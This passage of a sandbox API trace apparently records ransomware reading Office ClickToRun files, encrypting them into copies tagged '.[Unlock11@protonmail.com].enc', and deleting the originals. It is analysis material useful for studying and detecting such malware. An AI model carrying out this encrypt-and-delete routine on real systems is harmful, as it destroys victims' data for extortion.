lpOverlapped=0x0 | out: lpBuffer=0x35c601c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.041] GetCurrentThreadId () returned 0x9b0 [0118.041] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc04b8*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc04b8*, lpNumberOfBytesWritten=0x9b9a0c*=0x700, lpOverlapped=0x0) returned 1 [0118.042] CloseHandle (hObject=0x3ac) returned 1 [0118.042] GetCurrentThreadId () returned 0x9b0 [0118.043] CloseHandle (hObject=0x39c) returned 1 [0118.043] GetCurrentThreadId () returned 0x9b0 [0118.043] GetCurrentThreadId () returned 0x9b0 [0118.043] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0118.046] GetCurrentThreadId () returned 0x9b0 [0118.046] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll", lpFilePart=0x9bada4*="C2R32.dll") returned 0x43 [0118.046] GetCurrentThreadId () returned 0x9b0 [0118.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0118.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0118.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0118.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0118.047] GetCurrentThreadId () returned 0x9b0 [0118.047] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll", lpFilePart=0x9bada4*="C2R64.dll") returned 0x43 [0118.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0118.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0118.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0118.047] GetCurrentThreadId () returned 0x9b0 [0118.048] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml", lpFilePart=0x9bada4*="C2RHeartbeatConfig.xml") returned 0x50 [0118.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0118.048] GetCurrentThreadId () returned 0x9b0 [0118.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0118.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0118.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0118.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0118.048] GetCurrentThreadId () returned 0x9b0 [0118.048] GetCurrentThreadId () returned 0x9b0 [0118.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0118.048] GetCurrentThreadId () returned 0x9b0 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028)) returned 1 [0118.049] GetCurrentThreadId () returned 0x9b0 [0118.049] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0118.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0118.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34acad0 [0118.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0118.050] GetCurrentThreadId () returned 0x9b0 [0118.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea1d8 [0118.050] GetCurrentThreadId () returned 0x9b0 [0118.050] GetCurrentThreadId () returned 0x9b0 [0118.050] GetCurrentThreadId () returned 0x9b0 [0118.050] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.051] GetFileType (hFile=0x39c) returned 0x1 [0118.051] GetCurrentThreadId () returned 0x9b0 [0118.051] GetFileType (hFile=0x39c) returned 0x1 [0118.051] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.051] GetLastError () returned 0x0 [0118.051] GetCurrentThreadId () returned 0x9b0 [0118.052] GetLastError () returned 0x0 [0118.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0118.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0118.052] GetLastError () returned 0x0 [0118.052] GetLastError () returned 0x0 [0118.052] GetLastError () returned 0x0 [0118.052] GetLastError () returned 0x0 [0118.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0118.052] GetLastError () returned 0x0 [0118.052] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0118.053] GetFileType (hFile=0x3ac) returned 0x1 [0118.053] GetLastError () returned 0x0 [0118.053] GetCurrentThreadId () returned 0x9b0 [0118.053] GetLastError () returned 0x0 [0118.053] GetFileType (hFile=0x3ac) returned 0x1 [0118.053] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.053] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.053] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.054] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.054] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.054] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.054] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.054] GetLastError () returned 0x0 [0118.054] GetCurrentThreadId () returned 0x9b0 [0118.054] GetLastError () returned 0x0 [0118.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0118.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0118.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0118.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0118.054] GetLastError () returned 0x0 [0118.055] GetLastError () returned 0x0 [0118.055] GetCurrentThreadId () returned 0x9b0 [0118.055] GetLastError () returned 0x0 [0118.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0118.055] GetLastError () returned 0x0 [0118.055] GetLastError () returned 0x0 [0118.055] GetCurrentThreadId () returned 0x9b0 [0118.055] GetLastError () returned 0x0 [0118.055] GetLastError () returned 0x0 [0118.055] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x1028, lpOverlapped=0x0) returned 1 [0118.057] ReadFile (in: hFile=0x39c, lpBuffer=0x35c6944, nNumberOfBytesToRead=0xe000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c6944*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.057] GetLastError () returned 0x0 [0118.057] GetCurrentThreadId () returned 0x9b0 [0118.057] GetLastError () returned 0x0 [0118.057] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x103d) returned 0x35c5908 [0118.057] GetCurrentThreadId () returned 0x9b0 [0118.058] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x1045) returned 0x35c5908 [0118.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0118.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0118.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1048) returned 0x35b99e0 [0118.058] GetLastError () returned 0x0 [0118.058] GetLastError () returned 0x0 [0118.058] GetLastError () returned 0x0 [0118.058] GetLastError () returned 0x0 [0118.058] GetCurrentThreadId () returned 0x9b0 [0118.058] GetLastError () returned 0x0 [0118.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b99e0 | out: hHeap=0x2ad0000) returned 1 [0118.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0118.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0118.059] GetLastError () returned 0x0 [0118.059] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a60, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a60*=0x1000, lpOverlapped=0x0) returned 1 [0118.060] GetLastError () returned 0x0 [0118.060] GetCurrentThreadId () returned 0x9b0 [0118.060] GetLastError () returned 0x0 [0118.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35baa30 | out: hHeap=0x2ad0000) returned 1 [0118.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.060] GetLastError () returned 0x0 [0118.060] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.060] GetLastError () returned 0x0 [0118.061] GetCurrentThreadId () returned 0x9b0 [0118.061] GetLastError () returned 0x0 [0118.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.061] GetLastError () returned 0x0 [0118.061] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0x50, lpOverlapped=0x0) returned 1 [0118.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0118.061] CloseHandle (hObject=0x3ac) returned 1 [0118.062] GetLastError () returned 0x0 [0118.062] GetCurrentThreadId () returned 0x9b0 [0118.062] GetLastError () returned 0x0 [0118.062] GetLastError () returned 0x0 [0118.062] CloseHandle (hObject=0x39c) returned 1 [0118.062] GetLastError () returned 0x0 [0118.062] GetCurrentThreadId () returned 0x9b0 [0118.062] GetLastError () returned 0x0 [0118.062] GetCurrentThreadId () returned 0x9b0 [0118.062] GetLastError () returned 0x0 [0118.062] GetLastError () returned 0x0 [0118.063] GetLastError () returned 0x0 [0118.063] GetLastError () returned 0x0 [0118.063] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0118.064] GetLastError () returned 0x0 [0118.064] GetCurrentThreadId () returned 0x9b0 [0118.064] GetLastError () returned 0x0 [0118.064] GetLastError () returned 0x0 [0118.064] GetLastError () returned 0x0 [0118.064] GetLastError () returned 0x0 [0118.064] GetLastError () returned 0x0 [0118.064] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll", lpFilePart=0x9bada4*="C2RUI.en-us.dll") returned 0x49 [0118.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0118.065] GetCurrentThreadId () returned 0x9b0 [0118.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0118.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0118.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0118.065] GetLastError () returned 0x0 [0118.065] GetLastError () returned 0x0 [0118.065] GetLastError () returned 0x0 [0118.065] GetLastError () returned 0x0 [0118.065] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll", lpFilePart=0x9bada4*="concrt140.dll") returned 0x47 [0118.066] GetCurrentThreadId () returned 0x9b0 [0118.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0118.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0118.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0118.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0118.066] GetCurrentThreadId () returned 0x9b0 [0118.066] GetLastError () returned 0x0 [0118.066] GetLastError () returned 0x0 [0118.066] GetLastError () returned 0x0 [0118.066] GetLastError () returned 0x0 [0118.066] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash", lpFilePart=0x9bada4*="i640.hash") returned 0x43 [0118.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0118.067] GetCurrentThreadId () returned 0x9b0 [0118.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0118.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0118.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0118.067] GetLastError () returned 0x0 [0118.067] GetLastError () returned 0x0 [0118.067] GetLastError () returned 0x0 [0118.067] GetLastError () returned 0x0 [0118.067] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash", lpFilePart=0x9bada4*="i641033.hash") returned 0x46 [0118.067] GetCurrentThreadId () returned 0x9b0 [0118.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0118.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0118.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0118.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0118.068] GetCurrentThreadId () returned 0x9b0 [0118.068] GetLastError () returned 0x0 [0118.068] GetLastError () returned 0x0 [0118.068] GetLastError () returned 0x0 [0118.068] GetLastError () returned 0x0 [0118.068] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe", lpFilePart=0x9bada4*="IntegratedOffice.exe") returned 0x4e [0118.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0118.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0118.069] GetCurrentThreadId () returned 0x9b0 [0118.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0118.069] GetLastError () returned 0x0 [0118.069] GetLastError () returned 0x0 [0118.069] GetLastError () returned 0x0 [0118.069] GetLastError () returned 0x0 [0118.069] GetCurrentThreadId () returned 0x9b0 [0118.069] GetLastError () returned 0x0 [0118.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0118.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetCurrentThreadId () returned 0x9b0 [0118.070] GetLastError () returned 0x0 [0118.070] GetCurrentThreadId () returned 0x9b0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetLastError () returned 0x0 [0118.070] GetCurrentThreadId () returned 0x9b0 [0118.071] GetLastError () returned 0x0 [0118.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0118.071] GetLastError () returned 0x0 [0118.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0118.071] GetLastError () returned 0x0 [0118.071] GetLastError () returned 0x0 [0118.071] GetLastError () returned 0x0 [0118.071] GetCurrentThreadId () returned 0x9b0 [0118.071] GetLastError () returned 0x0 [0118.071] GetLastError () returned 0x0 [0118.071] GetLastError () returned 0x0 [0118.072] GetLastError () returned 0x0 [0118.072] GetLastError () returned 0x0 [0118.072] GetCurrentThreadId () returned 0x9b0 [0118.072] GetLastError () returned 0x0 [0118.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0118.072] GetLastError () returned 0x0 [0118.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0118.072] GetLastError () returned 0x0 [0118.072] GetLastError () returned 0x0 [0118.072] GetLastError () returned 0x0 [0118.072] GetCurrentThreadId () returned 0x9b0 [0118.073] GetLastError () returned 0x0 [0118.073] GetCurrentThreadId () returned 0x9b0 [0118.073] GetLastError () returned 0x0 [0118.073] GetLastError () returned 0x0 [0118.073] GetLastError () returned 0x0 [0118.073] GetLastError () returned 0x0 [0118.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0118.073] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80)) returned 1 [0118.073] GetLastError () returned 0x0 [0118.073] GetCurrentThreadId () returned 0x9b0 [0118.074] GetLastError () returned 0x0 [0118.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0118.074] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0118.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0118.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0118.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0118.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2c8 [0118.074] GetCurrentThreadId () returned 0x9b0 [0118.074] GetLastError () returned 0x0 [0118.074] GetLastError () returned 0x0 [0118.074] GetLastError () returned 0x0 [0118.074] GetLastError () returned 0x0 [0118.075] GetLastError () returned 0x0 [0118.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2c8 | out: hHeap=0x2ad0000) returned 1 [0118.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0118.075] GetLastError () returned 0x0 [0118.075] GetLastError () returned 0x0 [0118.075] GetLastError () returned 0x0 [0118.075] GetLastError () returned 0x0 [0118.075] GetLastError () returned 0x0 [0118.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0118.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265288 [0118.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0118.076] GetLastError () returned 0x0 [0118.076] GetLastError () returned 0x0 [0118.076] GetLastError () returned 0x0 [0118.076] GetLastError () returned 0x0 [0118.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0118.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265328 [0118.076] GetLastError () returned 0x0 [0118.076] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.076] GetFileType (hFile=0x39c) returned 0x1 [0118.077] GetLastError () returned 0x0 [0118.077] GetLastError () returned 0x0 [0118.077] GetFileType (hFile=0x39c) returned 0x1 [0118.077] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 